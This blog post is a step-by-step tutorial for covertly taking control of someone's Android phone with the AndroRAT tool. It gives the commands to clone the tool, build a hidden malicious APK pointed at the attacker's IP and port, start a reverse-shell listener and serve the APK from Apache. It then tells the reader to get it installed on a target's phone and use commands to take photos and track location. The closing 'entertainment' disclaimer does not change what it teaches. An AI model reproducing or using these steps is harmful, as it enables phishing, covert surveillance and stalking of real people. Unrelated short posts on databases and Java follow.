Skip to main content

 

Hack Someone’s Phone remotely

Photo by Nahel Abdul Hadi on Unsplash

Hack Someone’s Phone remotely

There are many hackers in this world who may be currently watching your activities daily and will try to steal your personal information.

And today, I’ll be showing you how to do just that!

Prerequisite

  • Github installed
  • Python3 installed
  • Pip Installed
  • Java installed
  • Your Machine IP address
  • Linux System

Let’s start our Hacking

We will be using a hacking method which is phishing for our today’s Blog. You can learn more about phishing on Wikipedia. The tool which we will be using is AndroRat.

AndroRAT is a tool designed to give the control of the android system remotely and retrieve information from it. Androrat is a client/server application developed in Java Android for the client-side and the Server is in Python.

A Simple android remote administration tool using sockets. It uses java on the client-side and python on the server-side

Clone the repository given below.

By HTTPS

git clone https://github.com/karma9874/AndroRAT.git

By SSH

git clone git@github.com:karma9874/AndroRAT.git
terminal

Go to the directory where you have cloned the repository by cd command.

cd <Directory_name> AndroRat
  • In our AndroRat folder, there are 9 sub-folders in it and we will be working with .py extension file.

Moving Further, Now we have to install some requirements for our installation by pip By using the pip command, We can install python package libraries with a single click.

Installing Requirements

pip install -r requirements.txt
temrinal
  • We have satisfied our requirements for our system
  • We can also check what requirements are needed by typing the given command
cat requirements.txt

Building a malicious apk file for spying

We will be building a malicious apk file which is needed to be installed on the target phone and the good thing is that after installing this apk, your apk file gets hidden and no one can see this file. Cool, right?

Let’s Build this malicious file

for building this apk you need to type the command given below

python3 androRat.py --build -i <ip_address> -p 4444 -o <apk_name>.apk

Explanation of the Above code

  • androRat.py → Our cloned directories’s file
  • — build → for building our apk file
  • -i → Ip address of your system and in case you don’t know the ip address of your system then type the below command.

ifconfig

If you don’t know where is ip address of your machine is written in ifconfig given output then you should search for 192 prefixed numbers in your ifconfig output.

  • -p — port number
  • -o output file

The output should look like the image given below.

temrinal

Now it’s time to host the listener

All you got to do is to write the code given below

python3 androRAT.py --shell -i 0.0.0.0 -p 4444
terminal
  • Now jump back into another terminal, type another command to start the apache webserver
sudo systemctl status apache2.service

Now, let’s copy our file and send it to the web by typing the following command

sudo cp piyush.apk /var/www/html/

Now, type the following in the target mobile and it should download your apk

<ip_address>/piyush.apk

After downloading the apk file, Install it and open it to accept all permissions, and its game over !!!!!!!!!!!

  • When you take the look at the listener you will get this interface.
  • Now, Type ‘help’ and hit the enter. You will get the commands and you can do the following things.

For example, if you want to take a picture of the target mobile then type ‘takepic’ command. If or want to get their location then type ‘getLocation’ command.

This Blog was for Entertainment purposes, don’t try to do anything unethical with it because you are always responsible for your actions.To anonymous, don’t try to hack-in by my IP address, I have already changed it.

See you in the next one. Bye, Bye.

Comments

Popular posts from this blog

What is Data abstraction? explain in detail ?

  What is Data abstraction? explain in detail ?  hey everyone today we will talk about what is data abstraction. Data abstraction data abstraction refers to the process of hiding irrelevant details from the user. The need of efficiency has led designed from the complex data structure to represent data in the database. here the three levels of data abstraction- 1.view level : The highest level of abstraction describe only part of the entire database. Even thought the logical level of user simple structure , complexity remains because of the variety of information stored in a large Database system do not need all this information inserts they need to access only a  part of the Database .The view level of abstraction exists to simplify their interaction with the system . The system may provide many view for the same Database.                                      2. logical level: ...

Define DBMS ? And it's applications .

  Define DBMS ? And it's applications || 2inshort Hey everyone , today we will talk about Database  management system ,this subject is very important in engineering. Define DBMS :   Data base is a collection of related data in a systematic manner. It is a system of storing and taking care of data , data can be easily accessed managed and updated. Data base can have multiple tables.Database is controlled through a software called DBMS. SO what is DBMS? -DBMS is a computer software application. -DBMS interact with user , other application and Database itself to retire and analysis the data. -accept request for data from an application and instructs OS and provide specific data. -DBMS allows users  to create their own data. example - Oracle , Microsoft , SQL ,  MySQL ,  DB2 , ORION , IMS  , Foxpro , MongoDB Applications of DBMS 1. Banking ( All transactions) :  We make thousands of transactions through banks daily and we can do this without going to ...

Variable , Constant , Comments in JAVA ?

java Variable -A variable can be define as a memory location that stores an data value of a certain type. -A variable consists of a data type along with a suitable name. -Assigning a value for a variable for the first time is called initializing a variable. example int age; output first we took integer the declare its value and then print the output. Constant -The difference between a constant and a variable is that the value held by a variable can be changed throughout the problem execution . but after a constant has been initialized we can not change the value in it. example final double pi 21/7   output ERROR , because we have already declared the value of PI. Comments -Comment can be used to explain written code. -This will help a person to read and understand the code in future .  -Comments are ignored by the compiler during compilation. Whatever is written inside the comments will not be printed because it is only for understanding. instagram twitter facebook